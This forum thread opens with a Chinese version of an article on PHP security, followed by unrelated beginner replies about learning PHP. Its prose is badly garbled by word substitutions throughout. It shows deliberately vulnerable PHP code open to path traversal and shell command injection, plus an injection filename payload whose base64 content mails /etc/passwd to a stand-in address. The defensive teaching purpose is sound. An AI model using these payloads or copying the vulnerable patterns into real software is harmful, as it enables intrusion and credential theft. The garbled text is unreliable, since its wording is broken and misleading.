莫相离 发表于 2015-2-4 00:20:19

PHP网页编程之PHP 平安及相干

学会了生成静态网页,现在你应该接触一下XML了,恩,XML也了解了,那么AJAX你也得接触接触吧?AJAX完了....然后...平安   存眷平安成绩的主要性
看到的远非全体

禁止用户歹意损坏你的程式最无效却常常被疏忽的办法是在写代码时就思索它的能够性。寄望代码中能够的平安成绩是很主要的。思索下边的旨在简化用PHP中写入大批文本文件的进程的实例函数:


<?php
function write_text($filename, $text="") {
static $open_files = array();
// 假如文件名空,封闭全体文件
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>

这个函数带有两个缺省参数,文件名和要写入文件的文本。
函数将先反省文件是不是已被翻开;假如是,将利用本来的文件句柄。不然,将自行创立。在这两种情形中,文本城市被写入文件。
假如传递给函数的文件名是NULL,那末一切翻开的文件将被封闭。下边供应了一个利用上的实例。
假如开辟者以下边的格局来写入多个文本文件,那末这个函数将清晰和易读的多。
让咱们假定这个函数存在于一个独自的文件中,这个文件包括了挪用这个函数的代码。
下边是一个如许的程式,咱们叫它quotes.php:

<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny">Humorous quotes</option>
<option value="political">Political quotes</option>
<option value="love">Romantic Quotes</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Quote saved!</h2></center>";
} else {
echo "<center><hr><h2>Error writing quote</h2></center>";
}
write_text(NULL);
?>

好像你看到的,这位开辟者利用了write_text()函数来创立一个别系使得用户可以提交他们喜好的格言,这些格言将被寄存在一个文本文件中。
不幸的是,开辟者能够没有想到,这个程式也答应了歹意用户伤害web server的平安。
或许如今你正挠着头想着事实这个看起来很无辜的程式如何引入了平安风险。
假如你看不出来,思索下边这个URL,记住这个程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

当这个URL传递给web server 时将会产生甚么?

明显,quotes.php将被履行,然而,不是将一句格言写入到咱们但愿的三个文件中之一,相反的,一个叫做different_file.dat的新文件将被创立,个中包括一个字符串garbage data。

明显,这不是咱们但愿的行动,歹意用户能够经由过程把quote指定为../../../etc/passwd来会见UNIX暗码文件从而创立一个帐号(虽然这需求web server以superuser运转程式,假如是如许的,你应当中断浏览,即刻去修复它)。

假如/home/web/quotes/可以经由过程阅读器会见,能够这个程式最严重的平安成绩是它答应任何用户写入和运转恣意PHP程式。这将带来无量的费事。

这里有一些处理计划。假如你只需求写入目次下的一些文件,可以思索利用一个相干的数组来寄存文件名。假如用户输出的文件存在于这个数组中,就能够平安的写入。另外一个设法是去失落一切的不是数字和字母的字符来确保没有目次朋分符号。还有一个举措是反省文件的扩大名来包管文件不会被web server履行。

准绳很复杂,作为一个开辟者你必需比程式在你但愿的情形下运转时思索更多。

假如不法数据进入到一个form元素中会产生甚么?歹意用户是不是能使你的程式以不但愿的体例运转?甚么办法能禁止这些进击?你的web server和PHP程式只要在最弱的平安链接下才平安,所以确认这些能够不平安的链接是不是平安很主要。

罕见的触及平安的毛病

这里给出一些要点,一个能够危及平安的编码上的和办理上的掉误的扼要不完全列表


毛病1。信任数据
这是贯串于我关于PHP程式平安的会商的主题,你决不克不及信任一个来自内部的数据。不论它来自用户提交表单,文件体系的文件或情况变量,任何数据都不克不及复杂的想固然的采取。所以用户输出必需停止验证并将之格局化以包管平安。

毛病2。在web目次中存储敏感数据
任何和一切的敏感数据都应当寄存在自力于需求利用数据的程式的文件中,并保留在一个不克不及经由过程阅读器会见的目次下。当需求利用敏感数据时,再经由过程include 或 require语句来包括到恰当的PHP程式中。

毛病3。不利用保举的平安提防办法
PHP手册包括了在利用和编写PHP程式时关于平安提防的完全章节。手册也(几近)基于案例清晰的申明了甚么时分存在潜伏平安风险和怎样将风险下降到最低。又如,歹意用户依托开辟者和办理员的掉误失掉关怀的平安信息以获得体系的权限。寄望这些正告并恰当的接纳办法来减小歹意用户给你的体系带来真实的损坏的能够性。


在PHP中履行体系挪用
在PHP中有良多办法可以履行体系挪用。

好比,system(), exec(), passthru(), popen()和 反单引号(`)操作符都答应你在程式中履行体系挪用。假如不恰当的利用上边这些函数将会为歹意用户在你的办事器上履行体系号令翻开大门。像在会见文件时,绝大多半情形下,平安破绽产生在因为不成靠的内部输出招致的体系号令履行。

利用体系挪用的一个例子程式
思索一个处置http文件上传的程式,它利用zip法式来紧缩文件,然后把它挪动到指定的目次(默许为/usr/local/archives/)。代码以下:


<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";

if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;

if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>

<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
固然这段程式看起来相当复杂易懂,然而歹意用户却可以经由过程一些办法来使用它。最严重的平安成绩存在于咱们履行了紧缩号令(经由过程`操作符),鄙人边的行中可以清晰的看到这点:

if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
棍骗程式履行恣意shell号令
固然这段代码看起来相当平安,它却有使任何有文件上传权限的用户履行恣意shell号令的潜伏风险!

正确的说,这个平安破绽来自对$cmp_name变量的赋值。在这里,咱们但愿紧缩后的文件利用从客户机上传时的文件名(带有 .zip扩大名)。咱们用到了$_FILES['file']['name'](它包括了上传文件在客户机时的文件名)。

在如许的情形下,歹意用户完整可以经由过程上传一个含对底层操作体系有特别意义字符的文件来到达本人的目标。举个例子,假如用户依照下边的模式创立一个空文件会怎样?(UNIX shell提醒符下)

# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
这个号令将创立一个名字以下的文件:

;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起来很奇异?让咱们来看看这个“文件名”,咱们发明它很像使CLI版本的PHP履行以下代码的号令:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
假如你出于猎奇而显示$code变量的内容,就会发明它包括了mail baduser@somewhere.com < /etc/passwd。假如用户把这个文件传给程式,接着PHP履行体系挪用来紧缩文件,PHP实践大将履行以下语句:

/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
让人受惊的,上边的号令不是一个语句而是3个!因为UNIX shell 把分号(;)注释为一个shell号令的停止和另外一号令的入手下手,除分号在在引号中时,PHP的system()实践大将以下履行:

# /usr/bin/zip /tmp/
# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
# .zip /tmp/phpY4iatI
如你所见,这个看起来有害的PHP程式俄然酿成履行恣意shell号令和其他PHP程式的后门。固然这个例子只会在途径下有CLI版本的PHP的体系上无效,然而用这类手艺可以经由过程其他的办法来到达一样的后果。

匹敌体系挪用进击
这里的关头依然是,来自用户的输出,不论内容若何,都不该该信任!成绩依然是若何在利用体系挪用时(除基本不利用它们)防止相似的情形呈现。为了匹敌这类类型的进击,PHP供应了两个函数,escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函数是为了从用作体系号令的参数的用户输出(在咱们的例子中,是zip号令)中移出含有潜伏风险的字符而设计的。这个函数的语法以下:

escapeshellarg($string)
$string地点处是用于过滤的输出,前往值是过滤后的字符。履行时,这个函数将在字符双方添加单引号,并本义本来字符串中的单引号(在其前边加上)。在咱们的例程中,假如咱们在履行体系号令之前加上这些行:

$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
咱们就可以经由过程确保传递给体系挪用的参数已处置,是一个没有其他意图的用户输出,以躲避如许的平安风险。

escapeshellcmd()和escapeshellarg()相似,只是它只本义对底层操作体系有特别意义的字符。和escapeshellarg()分歧,escapeshellcmd()不会处置内容中的空白格。举个实例,当利用escapeshellcmd()本义时,字符

$string = "'hello, world!';evilcommand"
将变成:

'hello, world';evilcommand
假如这个字符串用作体系挪用的参数它将依然不克不及失掉准确的了局,由于shell将会把它分离注释为两个分别的参数: 'hello 和 world';evilcommand。假如用户输出用于体系挪用的参数列表局部,escapeshellarg()是一个更好的选择。


回护上传的文件
在整篇文章中,我一向只侧重讲体系挪用若何被歹意用户劫持以发生咱们不但愿了局。
然而,这里还有别的一个潜伏的平安风险值得提到。再看到咱们的例程,把你的注重力集中鄙人边的行上:

$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上边片段中的代码行招致的一个潜伏平安风险是,最初一行咱们判别上传的文件是不是实践存在(以一时文件名$tmp_name存在)。

这个平安风险其实不来自于PHP本身,而在于保留在$tmp_name中的文件名实践上基本不是一个文件,而是指向歹意用户但愿会见的文件,好比,/etc/passwd。

为了避免如许的情形产生,PHP供应了is_uploaded_file()函数,它和file_exists()一样,然而它还供应文件是不是真的从客户机上上传的反省。

在绝大多半情形下,你将需求挪动上传的文件,PHP供应了move_uploaded_file()函数,来共同is_uploaded_file()。这个函数和rename()一样用于挪动文件,只是它会在履行前主动反省以确保被挪动的文件是上传的文件。move_uploaded_file()的语法以下:

move_uploaded_file($filename, $destination);
在履行时,函数将挪动上传文件$filename到目标地$destination并前往一个布尔值来标记操作是不是胜利。

注: John Coggeshall 是一名PHP参谋和作者。从他入手下手为PHP不眠已5年摆布了。
英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
接触MYSQL,开始设计数据库程序

若相依 发表于 2015-2-4 11:55:18

微软最近出的新字体“微软雅黑”,虽然是挺漂亮的,不过firefox支持的不是很好,所以能少用还是少用的好。

金色的骷髅 发表于 2015-2-4 21:15:12

使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。

仓酷云 发表于 2015-2-10 11:33:14

曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线\\\\\\\'_\\\\\\\' ;

愤怒的大鸟 发表于 2015-3-1 09:49:57

学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。

因胸联盟 发表于 2015-3-10 13:07:19

我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:

不帅 发表于 2015-3-10 23:36:15

要进行开发,搭建环境是首先需要做的事,windows下面我习惯把环境那个安装在C盘下面,因为我配的环境经常出现诡异事件,什么事都没做环境有的时候就不能用啦。

海妖 发表于 2015-3-17 13:03:58

说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。

小女巫 发表于 2015-3-22 02:09:18

小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。

分手快乐 发表于 2015-3-22 21:56:53

开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。

若天明 发表于 2015-3-29 03:41:36

基础有没有对学习php没有太大区别,关键是兴趣。

谁可相欹 发表于 2015-3-31 23:37:36

,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。

乐观 发表于 2015-4-17 11:37:57

对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。

爱飞 发表于 2015-4-19 15:54:12

本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。

只想知道 发表于 2015-5-1 23:10:17

首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。

深爱那片海 发表于 2015-5-3 00:38:04

在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。

活着的死人 发表于 2015-5-11 00:02:56

有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。

第二个灵魂 发表于 2015-6-5 23:56:17

装在C盘下面可以利用windows的ghost功能可以还原回来(顺便当做是重转啦),当然啦我的编译目录要放在别的盘下,不然自己的劳动成果就悲剧啦。

冷月葬花魂 发表于 2015-6-13 20:23:49

再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。

山那边是海 发表于 2015-6-28 22:19:38

你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。
页: [1] 2
查看完整版本: PHP网页编程之PHP 平安及相干